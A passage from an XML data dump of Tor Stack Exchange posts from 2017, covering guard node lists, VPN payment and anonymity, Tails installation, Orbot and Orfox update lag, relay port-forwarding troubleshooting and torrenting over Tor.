  <row Id="14697" PostTypeId="1" AcceptedAnswerId="14698" CreationDate="2017-05-02T04:29:12.517" Score="3" ViewCount="22517" Body="&lt;p&gt;I need to know the list of all entry nodes. Is it possible to do this?&#xA;I found  here &lt;a href=&quot;https://www.dan.me.uk/tornodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dan.me.uk/tornodes&lt;/a&gt; a list of all nodes or only exit nodes but I only need entry nodes.&lt;/p&gt;&#xA;" OwnerUserId="17317" LastActivityDate="2024-01-09T13:31:39.790" Title="list of all the entry nodes" Tags="|relays|guard-node|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14698" PostTypeId="2" ParentId="14697" CreationDate="2017-05-02T10:22:35.537" Score="2" Body="&lt;p&gt;You already have them in that list, you only need to look at those with the &quot;&lt;strong&gt;G&lt;/strong&gt;uard&quot; flag which specifies that they're entry nodes, for example:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;4484.0298.4949.1082|ServerName|443|80|&lt;strong&gt;G&lt;/strong&gt;FHRSDV|259492|Tor 0.2.9.10|&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You'll only have to extract those with the &lt;strong&gt;G&lt;/strong&gt; flag.&lt;/p&gt;&#xA;" OwnerUserId="17321" LastEditorUserId="-1" LastEditDate="2017-05-04T13:20:19.287" LastActivityDate="2017-05-04T13:20:19.287" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14701" PostTypeId="1" CreationDate="2017-05-02T16:18:17.910" Score="0" ViewCount="4814" Body="&lt;p&gt;I made the mistake of trying to pay for a VPN service with Paypal while using Tor browser. Paypal said the transaction had gone through. But my bank statement said otherwise. I haven't validated the purchase with the email link sent by the VPN service and do not plan to.&#xA;Have I blown my anonymity? Have I alerted anyone to my I.P. address and identity as a Tor / VPN user? If so what can I do about this?&#xA;Is it worth paying for a VPN service by regular means? I do not do any illegal downloading and am a little confused about the advantage of a VPN over and above Tor.   &lt;/p&gt;&#xA;" OwnerUserId="17319" LastEditorUserId="88" LastEditDate="2017-05-04T13:30:55.987" LastActivityDate="2017-05-04T13:30:55.987" Title="Using Paypal with Tor---Ooopsy!" Tags="|security|vpn|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14703" PostTypeId="2" ParentId="14701" CreationDate="2017-05-02T16:49:37.937" Score="1" Body="&lt;p&gt;I do not believe you have blown your anonymity within the Tor network. You do not have an IP address for yourself but rather the IP addresses of all exit relays is shared among all people in the Tor network. The Tor Project provides a concise introduction to Tor on this &lt;a href=&quot;https://www.torproject.org/about/overview.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;overview page&lt;/a&gt;, take a look at it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, your VPN identity is a different story. If you use a credit card, which I assume is yours, at the very minimum the VPN provider knows your identity. You cannot know if they keep that information safe. The information may be stolen from them or shared with third parties. Even if you'd pay in a different way, the provider is going to know all your doing using its service. It knows your real IP and sees all traffic, just like your Internet provider usually does. Moreover, there are no guarantees whatsoever that traffic flowing through a VPN is more secure/anonymous than just using your regular Internet connection. Tor however is designed so that even the operators, volunteers spread across the world, cannot deanonymize you easily. It has technical measure to secure the network as well as the browser which everyone can inspect. See &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/&quot; rel=&quot;nofollow noreferrer&quot;&gt;[1]&lt;/a&gt;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/&quot; rel=&quot;nofollow noreferrer&quot;&gt;[2]&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure there a valid uses for VPNs, like avoiding censorship. But as general rule, a VPN service may be safe but there is know way of knowing and Tor has flaws but has provable security guarantees that at the very least make it hard to deanonimize you.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-05-02T16:49:37.937" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14705" PostTypeId="1" CreationDate="2017-05-02T20:02:56.123" Score="0" ViewCount="85" Body="&lt;p&gt;For me being not such a smart-tech-minded person, i'm having some difficulties installing tails. I'm using a Mac and somewhere during the installation by Command Line i seem to mess up. I've just ordered a rewritable Dvd with enough space so i will be trying that hopefully tomorrow evening. &#xA;But suddenly i wondered if there would be a Tails user in the Netherlands, from whom i would be able to clone it from. (As the 'installation-page' suggest Cloning as best option.)&#xA;Would there be any tails user from whom i could clone a version from? I don't know if we'd need to use the same operating system, but just to be sure, i'm running OSX El Capitan (10.11.6)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now all the best and take care!&#xA;Greetings!&lt;/p&gt;&#xA;" OwnerUserId="17330" LastActivityDate="2017-05-02T22:35:22.127" Title="Cloning tails from someone in the Netherlands" Tags="|tails|mac|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14706" PostTypeId="2" ParentId="14705" CreationDate="2017-05-02T22:35:22.127" Score="1" Body="&lt;p&gt;I would recommend &lt;em&gt;against&lt;/em&gt; cloning it from a random person in the Netherlands, since they could feed you an infected copy of Tails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the install guide states &lt;em&gt;(emphasis mine)&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you know &lt;strong&gt;someone you trust&lt;/strong&gt; who uses Tails already, you can try installing your USB stick by copying from it. Make sure that this Tails is up-to-date.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A stranger is definitely not someone who you should trust with your security if you have a need for security and especially if you (or people you interact with) are likely to be targeted for surveillance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be best to follow the DVD method, or check for further troubleshooting advice if you haven't already, e.g. trying &lt;code&gt;/dev/rdisk1&lt;/code&gt; instead of &lt;code&gt;/dev/disk1&lt;/code&gt;, replacing &lt;code&gt;disk1&lt;/code&gt; with the appropriate disk identifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Another option may be to use software like VirtualBox to boot Tails into a VM from the ISO (as a virtualised DVD drive) then pass the USB device through to the Tails VM and install it from the Tails installer onto the USB from the virtual machine but I haven't tried this so can't make an guarantees.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-05-02T22:35:22.127" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14709" PostTypeId="1" CreationDate="2017-05-03T20:02:41.610" Score="2" ViewCount="659" Body="&lt;p&gt;I want to know why android version isn't updated with the same version which is available for the windows? Android version is always lower than the tor bundle for windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not only that, even Orfox isn't updated with the latest bundle version as it is available for windows version. Tor bundle including Firefox is always of newer version than android's Orfox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, Tor for windows is more often updated than Orbot for android. Even, Tor Browser for windows is also more often updated than Orfox for android.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You won't believe me that I asked these same questions to their supported emails so often that i also don't remember now how many times i asked them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, no luck getting any answers from them!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a result, i came here looking for answers. I hope to get satisfying answers from any one of you that why android versions aren't updated as often as windows versions????&lt;/p&gt;&#xA;" OwnerUserId="17344" LastActivityDate="2017-05-13T20:39:24.550" Title="Why orbot isn't updated as with the Tor for windows and why Orfox isn't updated with the latest bundle of Firefox as of the same version in windows?" Tags="|tor-browser-bundle|orbot|firefox|update|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14710" PostTypeId="2" ParentId="6471" CreationDate="2017-05-03T20:08:16.277" Score="1" Body="&lt;p&gt;This issue seems to have been submitted to the Tails' bug tracker and seems to have been already resolved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can have a look here:&#xA;&lt;a href=&quot;https://labs.riseup.net/code/issues/8659&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://labs.riseup.net/code/issues/8659&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14292" LastActivityDate="2017-05-03T20:08:16.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14711" PostTypeId="2" ParentId="14126" CreationDate="2017-05-03T21:16:47.017" Score="1" Body="&lt;h3&gt;I would not recommend downloading Orbot from &lt;b&gt;&lt;i&gt;ANYWHERE&lt;/i&gt;&lt;/b&gt; but the &lt;a href=&quot;https://play.google.com/store/apps/details?id=org.torproject.android&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google Play Store&lt;/a&gt;.&lt;/h3&gt;&#xA;&lt;p&gt;The version of Orbot you're are using seems to be very old and most likely will not work at all. The place you probably acquired the APK from is unlikely to be safe at &lt;i&gt;all&lt;/i&gt; since the app hasn't looked like this since 2016 (bearing in mind that it's 2017 when the question was posted).&lt;/p&gt;&#xA;&lt;p&gt;The best course of action would be to uninstall the current version of Orbot you are using then go to the Google Play Store on your Android Phone and search for &amp;quot;Orbot&amp;quot;. Select the first option and install. From now on, Orbot should work perfectly and should be updated automatically.&lt;/p&gt;&#xA;" OwnerUserId="14292" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2017-05-03T21:16:47.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14712" PostTypeId="2" ParentId="14709" CreationDate="2017-05-03T22:45:52.347" Score="0" Body="&lt;p&gt;The version of Tor provided with Orbot isn't broken. Tor Browser updates are normally only to address security issues in Firefox, not to address security issues in Tor itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is why Orbot is currently okay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Orfox is currently under active development, it doesn't get updated as often as it should, it has leaks and is out of date and doesn't currently defend against fingerprinting in the same ways that Tor Browser does. It should be considered the best option out of a set of bad choices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mobile phone app space for Tor on both iOS and Android is, unfortunately, underdeveloped and incomplete. It also has a lot of snake oil in it that claims to do things that it doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: GeKo, one of the Tor Browser developers left a &lt;a href=&quot;https://blog.torproject.org/blog/tor-0306-released-new-series-stable#comment-267287&quot; rel=&quot;nofollow noreferrer&quot;&gt;comment on the Tor Projects blog&lt;/a&gt; stating that Orfox may be replaced by an official Tor Project Tor Browser for the mobile platform and that the Guardian Project is planning an update for both:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I've heard the Guardidan Project is working on updates to both. That said we'll plan to build a Tor Browser for Mobile (Android) later this year which will supersede Orfox. It should get as regular updates as the Tor Browser for desktop (and should have feature parity as well). So, stay tuned. :)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thanks to &lt;a href=&quot;https://tor.stackexchange.com/users/16326/user139336&quot;&gt;user139336&lt;/a&gt; for pointing me to this information.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2017-05-13T20:39:24.550" LastActivityDate="2017-05-13T20:39:24.550" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14713" PostTypeId="2" ParentId="14709" CreationDate="2017-05-03T22:58:14.017" Score="1" Body="&lt;h1&gt;Orbot&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The Orbot currently in Google's Play store &lt;a href=&quot;https://github.com/n8fr8/orbot/blob/15.2.0-RC-8-multi/orbotservice/src/main/java/org/torproject/android/service/TorServiceConstants.java#L137&quot; rel=&quot;nofollow noreferrer&quot;&gt;appears to be based on Tor 0.2.8.9&lt;/a&gt;. Yes, this isn't the newest release of Tor, not even the newest version of the 0.2.8.x series (which is &lt;a href=&quot;https://blog.torproject.org/blog/updates-old-tor-stable-release-series-02428-02513-02611-0277-02813&quot; rel=&quot;nofollow noreferrer&quot;&gt;still supported&lt;/a&gt;.) The &lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/ChangeLog?id=4e5df7355514377338c3b284950daedd7091edbd&quot; rel=&quot;nofollow noreferrer&quot;&gt;changelog&lt;/a&gt; tells me that Orbot is not missing any severe security issues, so you should be fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to why Orbot isn't using the newest Tor version, I don't know for sure, but my guess is lack of time and resources. Take a look at the &lt;a href=&quot;https://github.com/n8fr8/orbot/commits/master&quot; rel=&quot;nofollow noreferrer&quot;&gt;commit history&lt;/a&gt; and you'll see that just one person has worked on it lately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Btw, there is a &lt;a href=&quot;https://github.com/n8fr8/orbot/releases/tag/15.4.0-beta-2-multi&quot; rel=&quot;nofollow noreferrer&quot;&gt;newer beta version available on github&lt;/a&gt;. So, work to have it updated is in progress.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Orfox&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;As with Orbot, Orfox appears to lack (human) resources. It would even appear that the same person that maintains Orbot also maintains &lt;a href=&quot;https://github.com/guardianproject/Orfox/commits/dev&quot; rel=&quot;nofollow noreferrer&quot;&gt;Orfox&lt;/a&gt;. I looked at the updates and security updates for &lt;a href=&quot;https://www.mozilla.org/en-US/security/advisories/mfsa2016-95/&quot; rel=&quot;nofollow noreferrer&quot;&gt;45.6&lt;/a&gt;, &lt;a href=&quot;https://www.mozilla.org/en-US/security/advisories/mfsa2017-02/&quot; rel=&quot;nofollow noreferrer&quot;&gt;45.7&lt;/a&gt;, &lt;a href=&quot;https://www.mozilla.org/en-US/security/advisories/mfsa2017-06/&quot; rel=&quot;nofollow noreferrer&quot;&gt;45.8&lt;/a&gt; and &lt;a href=&quot;https://www.mozilla.org/en-US/security/advisories/mfsa2017-11/&quot; rel=&quot;nofollow noreferrer&quot;&gt;45.9&lt;/a&gt; appear to be missing. This are the security advisory for the Desktop version, Firefox does not release an Android version of the ESR channel, so some vulnerabilities may not apply to Android. Also, Orfox inherits some hardening from Tor Browser, so a few vulnerabilities are likely not applicable because of it. I would appear that Orfox has been updated due to a severe security issues before, take a look at &lt;a href=&quot;https://twitter.com/guardianproject/status/804081487121448961&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/guardianproject/status/804437925291294720&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, I'd say improvements can and should be made.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Conclusion&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I guess, I can't but agree with you that both should be updated. Yet, keep in mind that Orfox, Orbot as well as Tor itself depend on funding and volunteering, so consider supporting Tor. Running relays, answering question on stackexchange, developing software, Telling your friends about Tor and monetary support are all very much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, Yes, Orbot and Orfox should stick to the same release schedule as Tor and Tor Browser respectively. However, I'm still very thankful to &lt;a href=&quot;https://guardianproject.info&quot; rel=&quot;nofollow noreferrer&quot;&gt;the Guardian Project&lt;/a&gt; and its people that they provide this tools and I'm sure they are trying their best to make improvements where ever it is needed most.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Out of curiosity, how and when did you try to contact the developers?&lt;/p&gt;&#xA;" OwnerUserId="16657" LastEditorUserId="16657" LastEditDate="2017-05-03T23:10:11.870" LastActivityDate="2017-05-03T23:10:11.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14716" PostTypeId="1" CreationDate="2017-05-04T03:58:41.837" Score="1" ViewCount="23" Body="&lt;p&gt;A few days ago I suddenly lost the use of Firefox and Tor. The computer store I went to eventually got Firefox back and deleted Tor. I've reinstalled Tor, but when I try to open Tor I get a message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;firefox.exe - application.exe The application was unable to start correctly (0xc0000022). Click OK to closed the application. I've spent an hour on the Firefox 'help' page but couldn't get through to them. Can anyone here help me to run both Firefox and Tor?&lt;/p&gt;&#xA;" OwnerUserId="17346" LastActivityDate="2017-05-04T03:58:41.837" Title="Firefox prevents me from opening Tor" Tags="|firefox|" AnswerCount="0" CommentCount="0" ClosedDate="2017-05-04T13:33:27.097" ContentLicense="CC BY-SA 3.0" />
  <row Id="14719" PostTypeId="1" AcceptedAnswerId="14720" CreationDate="2017-05-04T10:28:04.827" Score="0" ViewCount="174" Body="&lt;p&gt;I am just get started in wireshark and tor, so please don't laugh)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i establish connection to tor, using tor browser i saw in wireshark some unclear packet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After SYN (9) -&gt; SYN,ACK (10) -&gt; ACK (11) i saw it - 12'th packet:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/5xqbw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5xqbw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and it unclear for me:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/djEBM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/djEBM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;does anybody tell me, what the &quot;www.wiaakidaayd.com&quot; and why it?&lt;/p&gt;&#xA;" OwnerUserId="17350" LastEditorUserId="88" LastEditDate="2017-05-04T13:23:57.107" LastActivityDate="2017-05-04T13:23:57.107" Title="What is mean &quot;www.wiaakidaayd.com&quot; in wireshark when i establish tor connection using Tor Browser?" Tags="|certificate|tls|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14720" PostTypeId="2" ParentId="14719" CreationDate="2017-05-04T10:51:37.960" Score="1" Body="&lt;p&gt;This is the hostname that is included in the SSL/TLS certificate. Tor doesn't use it for authentication, so it's just &lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/common/tortls.c?h=release-0.3.0#n1634&quot; rel=&quot;nofollow noreferrer&quot;&gt;generated randomly&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastEditorUserId="16657" LastEditDate="2017-05-04T11:00:19.473" LastActivityDate="2017-05-04T11:00:19.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14723" PostTypeId="1" CreationDate="2017-05-04T15:56:57.853" Score="0" ViewCount="1597" Body="&lt;p&gt;I loaded Tor as a Relay, I wanted to know if its working so went to the &lt;code&gt;/var/log/tor&lt;/code&gt; file,&#xA;and right at the bottom it says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    May 04 16:14:19.000[notice] Tor has successfully opened a circuit. Looks like client functionality is working.&#xA;    May 04 16:14:19.000[notice] Bootstrapped 100%: Done&#xA;    May 04 16:14:19.000[notice] Now checking whether ORPort 82.3.5.110:443 is reachable... (this may take up to 20 minutes - - look for log messages indicating success)&#xA;    May 04 16:15:18.000[notice] Your network connection speed appears to have changed. Resetting timeout to 60s after 18 timeouts and 105 buildtimes.&#xA;    May 04 16:24:18.000[notice] Your network connection speed appears to have changed. Resetting timeout to 60s after 18 timeouts and 100 buildtimes.&#xA;    May 04 16:29:25.000[notice] Your network connection speed appears to have changed. Resetting timeout to 60s after 18 timeouts and 100 buildtimes.&#xA;    May 04 16:33:52.000[notice] Your network connection speed appears to have changed. Resetting timeout to 60s after 18 timeouts and 100 buildtimes.&#xA;    May 04 16:34:04.000[warn] Your server (82.3.5.110:443) has not managed to confirm its ORPort is reachable. Relays do not publish descriptors until their ORPort and DirPort are reachable.&#xA;    Please check you firewalls, ports, address, /etc/hosts file, etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I' am lost as what to do now . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the info.&#xA;I Have a Virginmeadia Router, I went and found the port forwarding section .&#xA;I checked my Ip via ifconfig - it said it was 192.168.0.18&#xA;So on the port forwrding section of the router I gave it a Name TorRelay then added port 443 start and 443 end and added the IP address as above.&#xA;checking the the  /var/tor/log  file I saw it was showing a new page &#xA;May 05 11:13:52:000 [notice] Tor 0.2.9.10 (git-e28303bcf90b842d) opening new log file.&#xA;May 05 11:14:50:000 [notice] Self-testing indicates your ORPort is reachable from the outside.&#xA;Excellent. Publishing server descriptor.&#xA;May 05 11:14:50:000 [notice] Performing bandwidth self-test...done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this mean I have configured my router properly, The IP address is not a static one, if I now have to turn the TOR relay of for any reason will I have to reconfigure the Virginmedia Hub again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, setting up the IP address in my virgin media hub has worked, my Relay is now listed in the Atlas web site so thanks everyone.&lt;/p&gt;&#xA;" OwnerUserId="17225" LastEditorUserId="17225" LastEditDate="2017-05-05T20:56:26.033" LastActivityDate="2020-01-27T11:55:27.687" Title="The Tor log says it's failed" Tags="|relays|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14724" PostTypeId="1" CreationDate="2017-05-04T16:49:01.777" Score="1" ViewCount="78" Body="&lt;p&gt;Before continuing, I have to say that I have read this thread (&lt;a href=&quot;https://tor.stackexchange.com/questions/3441/retrieving-hidden-service-descriptors&quot;&gt;&quot;Retrieving hidden service descriptors&quot;&lt;/a&gt;) and it has not solved the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am doing extensive university work on Tor, and I would like to know if there is any way to download the &quot;hidden server descriptors&quot; (HSD) that Tor uploads to v0 and / or v2 directory servers (HSDirs) (ie to the distributed hash table) .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a hidden service, and I do not know how to download the HSD regarding my hidden service. I would like to attach it to the documentation I am creating so that readers can see what an HSD is like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the Windows 10 operating system, so I, if possible, I would like use a tool which works on this operating system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Sorry for my  English; English is not my mother language).&lt;/p&gt;&#xA;" OwnerUserId="15985" LastActivityDate="2017-05-04T16:49:01.777" Title="Is there a way to download &quot;hidden service descriptors&quot; (from Windows)?" Tags="|onion-services|onion-routing|hsdir|" AnswerCount="0" CommentCount="0" ClosedDate="2017-05-08T16:28:14.060" ContentLicense="CC BY-SA 3.0" />
  <row Id="14725" PostTypeId="2" ParentId="14697" CreationDate="2017-05-04T18:21:38.707" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://atlas.torproject.org/#search/flag:Guard&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://atlas.torproject.org/#search/flag:Guard&lt;/a&gt; Here you can see also all nodes with the flag &quot;Guard&quot;. &lt;/p&gt;&#xA;" OwnerUserId="15985" LastActivityDate="2017-05-04T18:21:38.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14726" PostTypeId="1" CreationDate="2017-05-04T18:59:55.950" Score="1" ViewCount="31" Body="&lt;p&gt;When I launch TOR and check the circuit that I'm connected to, more often than not, 'my browser' is connected to an IP in the USA (198.199.90.205) and then the other relays can be from any other country in the world pretty much. However, if I create a new relay for the connection, it always connects my browser through the 198.199.90.205 IP. The other relays change but this one doesn't. This has only started happening recently. Does anyone else have this problem?&#xA;Cheers&lt;/p&gt;&#xA;" OwnerUserId="17354" LastActivityDate="2017-05-04T18:59:55.950" Title="IP Address For Relay Connection" Tags="|configuration|" AnswerCount="0" CommentCount="0" ClosedDate="2017-05-07T14:58:40.897" ContentLicense="CC BY-SA 3.0" />
  <row Id="14727" PostTypeId="1" CreationDate="2017-05-04T03:50:27.390" Score="2" ViewCount="919" Body="&lt;p&gt;From what little I know about how Tor works (I might be wrong about some things), it seems like if more users were incentivized to use Tor for downloading and sharing files, the number of endpoints would increase, making it less likely that your traffic would end up in an evil logging/scanning/sniffing endpoint, and the increased amount of traffic would make it harder for malicious third party to sift through so much data to find someone's specific data packets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen installers which simplify setting up VPN and whatnot that would benefit user, but which would deter new users if they had to configure everything manually. So it can be done, and regular users may only need to hit &quot;install &gt; yes &gt; yes &gt; ok&quot; and everyone on the Tor network would benefit tremendously. It seems they only need to say &quot;we're moving to Tor!&quot; and it's as good as done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So why isn't this a thing in 2017? Are there some hidden downsides to inviting millions of new users to join Tor? And are there some problems associated specifically with bittorrent filesharing traffic over Tor? And if Bittorrent is not a desirable way to share data over Tor, what would be?&lt;/p&gt;&#xA;" OwnerUserId="1058" OwnerDisplayName="user1306322" LastActivityDate="2017-05-04T20:06:00.153" Title="Why aren't the biggest bittorrent file sharing sites using Tor yet?" Tags="|bittorrent|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14728" PostTypeId="2" ParentId="14727" CreationDate="2017-05-04T04:09:54.613" Score="4" Body="&lt;p&gt;Some of your questions are answered on Tor website. Notably, &lt;a href=&quot;http://%20Tor%20FAQ%20%20General%20questions:%20%20%20%20%20%20What%20is%20Tor?%20%20%20%20%20How%20is%20Tor%20different%20from%20other%20proxies?%20%20%20%20%20What%20programs%20can%20I%20use%20with%20Tor?%20%20%20%20%20Why%20is%20it%20called%20Tor?%20%20%20%20%20Is%20there%20a%20backdoor%20in%20Tor?%20%20%20%20%20Can%20I%20distribute%20Tor?%20%20%20%20%20How%20can%20I%20get%20support?%20%20%20%20%20Is%20there%20a%20Tor%20forum?%20%20%20%20%20Why%20is%20Tor%20so%20slow?%20%20%20%20%20How%20can%20I%20share%20files%20anonymously%20through%20Tor?%20%20%20%20%20What%20would%20The%20Tor%20Project%20do%20with%20more%20funding?%20%20%20%20%20How%20can%20I%20tell%20if%20Tor%20is%20working,%20and%20that%20my%20connections%20really%20are%20anonymized?%20%20%20%20%20Can%20I%20use%20Tor%20on%20my%20phone%20or%20mobile%20device?%20%20%20%20%20Which%20outbound%20ports%20must%20be%20open%20when%20using%20Tor%20as%20a%20client?%20%20%20%20%20How%20do%20I%20use%20my%20browser%20for%20ftp%20with%20Tor?%20%20%20%20%20Does%20Tor%20remove%20personal%20information%20from%20the%20data%20my%20application%20sends?%20%20%20%20%20How%20many%20people%20use%20Tor?%20How%20many%20relays%20or%20exit%20nodes%20are%20there?%20%20Compilation%20and%20Installation:%20%20%20%20%20%20How%20do%20I%20uninstall%20Tor?%20%20%20%20%20What%20are%20these%20%22sig%22%20files%20on%20the%20download%20page?%20%20%20%20%20Your%20website%20is%20blocked%20in%20my%20country.%20How%20do%20I%20download%20Tor?%20%20%20%20%20Why%20does%20my%20Tor%20executable%20appear%20to%20have%20a%20virus%20or%20spyware?%20%20%20%20%20How%20do%20I%20open%20a%20.tar.gz%20or%20.tar.xz%20file?%20%20%20%20%20Is%20there%20a%20LiveCD%20or%20other%20bundle%20that%20includes%20Tor?%20%20Tor%20Browser%20(general):%20%20%20%20%20%20Why%20can&amp;#39;t%20I%20view%20videos%20on%20YouTube%20and%20other%20Flash-based%20sites?%20%20%20%20%20I&amp;#39;m%20using%20Ubuntu,%20and%20I%20can&amp;#39;t%20start%20Tor%20Browser.%20%20%20%20%20I&amp;#39;m%20using%20the%20Sophos%20anti-virus%20software%20on%20my%20Mac,%20and%20Tor%20starts%20but%20I%20can&amp;#39;t%20browse%20anywhere.%20%20%20%20%20When%20I%20start%20Tor%20Browser%20I%20get%20an%20error%20message:%20%22Cannot%20load%20XPCOM%22.%20%20%20%20%20Can%20I%20install%20other%20Firefox%20extensions?%20Which%20extensions%20should%20I%20avoid%20using?%20%20%20%20%20Why%20is%20NoScript%20configured%20to%20allow%20JavaScript%20by%20default%20in%20Tor%20Browser?%20Isn&amp;#39;t%20that%20unsafe?%20%20%20%20%20I%20want%20to%20use%20Chrome/IE/Opera/etc%20with%20Tor.%20%20%20%20%20Google%20makes%20me%20solve%20a%20CAPTCHA%20or%20tells%20me%20I%20have%20spyware%20installed.%20%20%20%20%20Why%20does%20Google%20show%20up%20in%20foreign%20languages?%20%20%20%20%20Gmail%20warns%20me%20that%20my%20account%20may%20have%20been%20compromised.%20%20%20%20%20My%20internet%20connection%20requires%20an%20HTTP%20or%20SOCKS%20Proxy%20%20%20%20%20I%20want%20to%20run%20another%20application%20through%20Tor.%20%20%20%20%20What%20should%20I%20do%20if%20I%20can&amp;#39;t%20set%20a%20proxy%20with%20my%20application?%20%20Tor%20Browser%20(3.x%20and%20later):%20%20%20%20%20%20How%20do%20I%20disable%20JavaScript?%20%20%20%20%20How%20do%20I%20verify%20the%20download%20(sha256sums.txt)?%20%20%20%20%20Why%20does%20%22New%20Identity%22%20close%20all%20my%20open%20tabs?%20%20%20%20%20How%20do%20I%20configure%20Tor%20as%20a%20relay%20or%20bridge?%20%20%20%20%20Why%20are%20the%20file%20timestamps%20from%202000?%20%20%20%20%20Where%20is%20the%20source%20code%20for%20Tor%20Browser?%20How%20do%20I%20verify%20a%20build?%20%20Advanced%20Tor%20usage:%20%20%20%20%20%20I&amp;#39;m%20supposed%20to%20%22edit%20my%20torrc%22.%20What%20does%20that%20mean?%20%20%20%20%20How%20do%20I%20set%20up%20logging,%20or%20see%20Tor&amp;#39;s%20logs?%20%20%20%20%20What%20log%20level%20should%20I%20use?%20%20%20%20%20Tor%20is%20running,%20but%20it&amp;#39;s%20not%20working%20correctly.%20%20%20%20%20My%20Tor%20keeps%20crashing.%20%20%20%20%